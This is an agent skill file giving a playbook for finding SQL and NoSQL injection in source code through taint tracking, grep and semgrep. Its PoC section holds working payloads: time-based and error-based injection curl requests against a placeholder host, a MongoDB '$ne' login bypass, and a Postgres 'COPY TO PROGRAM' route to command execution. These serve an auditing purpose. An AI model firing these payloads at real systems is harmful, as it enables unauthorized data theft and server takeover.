sql-injection - SKILL.md Agent Skill

name: sql-injection description: Hunt SQL injection (CWE-89) via source-level taint tracking. Covers string concat, format-string, ORM raw queries, second-order injection, and NoSQL injection in MongoDB/DynamoDB. metadata: subdomain: web-exploitation when_to_use: "sql injection sqli cwe-89 taint tracking string concat format orm raw second order nosql mongodb dynamodb"

SQL Injection Hunting Playbook

Classic, still the king. Modern ORMs reduce the surface area but every codebase has escape hatches (raw queries, dynamic table names, LIKE fragments) where taint tracking pays off.

1. Sources

Anything accepting untrusted input: query params, form bodies, headers, cookies, JWT claims, file contents parsed as config, message-queue payloads.

2. Sinks by language/framework

Language	Safe API	Dangerous API
Python	`cursor.execute(sql, params)`	`cursor.execute(f"... {user}")`, `%`-format
Python	SQLAlchemy `text().bindparams`	`text(f"... {user}")`, `raw_sql`
Python	Django ORM filter kwargs	`Model.objects.raw(...)`, `.extra(where=[...])`
Node	`pg.query(text, params)`	Template literals with user data
Node	Prisma `$queryRaw\`...``	`$queryRawUnsafe(userString)`
Java	`PreparedStatement`	`Statement.executeQuery(string + user)`
Java	JPA criteria	`entityManager.createNativeQuery(user + sql)`
Go	`db.Query(text, args...)`	`fmt.Sprintf` → `db.Query`
Ruby	Rails `where("col = ?", x)`	`where("col = '#{x}'")`, `find_by_sql(interp)`
PHP	PDO prepared	`mysqli_query($conn, $user . $sql)`

3. Taint audit steps

# Semgrep covers 80% of obvious cases
semgrep --config p/sql-injection /workspace/src --sarif -o /workspace/sem-sqli.sarif
kg_ingest_sarif("/workspace/sem-sqli.sarif", "semgrep")

# Grep for the high-signal patterns semgrep misses (dynamic order/group by)
grep -rE 'ORDER BY.*\$|LIMIT.*\$|GROUP BY.*\$' /workspace/src
grep -rE 'execute\s*\(.*f["\']|execute\s*\(.*%.*%' /workspace/src

# Django raw + extra (scanner blind spot)
grep -rE '\.raw\(|\.extra\(' /workspace/src

# Second-order: anything that stores user input then queries by it unescaped
grep -rE 'INSERT INTO.*VALUES.*\?|UPDATE.*SET' /workspace/src

4. Dynamic table/column sinks — the interesting subclass

ORMs parameterize values but NOT identifiers. If the code does:

cursor.execute(f"SELECT * FROM {tenant}_users WHERE id=%s", (uid,))

the table name is user-controlled. Check whether tenant is validated against an allowlist. If not, this is trivial RCE on Postgres (; DROP ... ; COPY ... TO PROGRAM 'bash -c ...' --).

5. NoSQL injection

DB	Dangerous	Safe
MongoDB	`db.users.find({name: req.body.name})`	`find({name: String(req.body.name)})`
Firebase	`db.ref(req.query.path)`	path allowlist
Dynamo	Filter expressions built from strings	`ExpressionAttributeValues`

Classic Mongo bypass: {"username": "admin", "password": {"$ne": null}}.

6. Second-order injection

Most dangerous variant. The sink query reads from a previously stored value that was user-controlled. Missed by 90% of scanners because the taint breaks at the DB boundary.

Audit approach: any column that stores user input and is later concatenated into another query is a candidate. Grep for the column name across the repo.

7. PoC + validation contract

# Blind time-based
curl "https://target.com/search?q=1' AND SLEEP(5)-- -"
# Success: response time > 5s

# Error-based
curl "https://target.com/search?q=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Success: mysql error with version string reflected

validate_finding contract:

success_patterns: version, mysql, postgres, sleep.*5, syntax error near, ORA-01756
negative_command: same URL with q=1 (no payload)
negative_patterns: same error string (if present without payload, it's unrelated noise — demote)

8. Default CVSS

Variant	Score	Notes
Authenticated read-only SQLi	6.5	C:L I:N A:N, PR:L
Unauth blind SQLi	7.5	C:H I:N A:N, PR:N
Unauth error-based SQLi	8.6	C:H I:L A:N
Unauth → OS command (xp_cmdshell, COPY TO PROGRAM)	9.8	C:H I:H A:H

Vector for the 9.8: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

9. Chain promotion

SQL injection often enables:

Credential dump → auth_as edge → internal user node
File read → leaks edge → secret node (config.php, .env)
xp_cmdshell → enables edge → new shell/rce node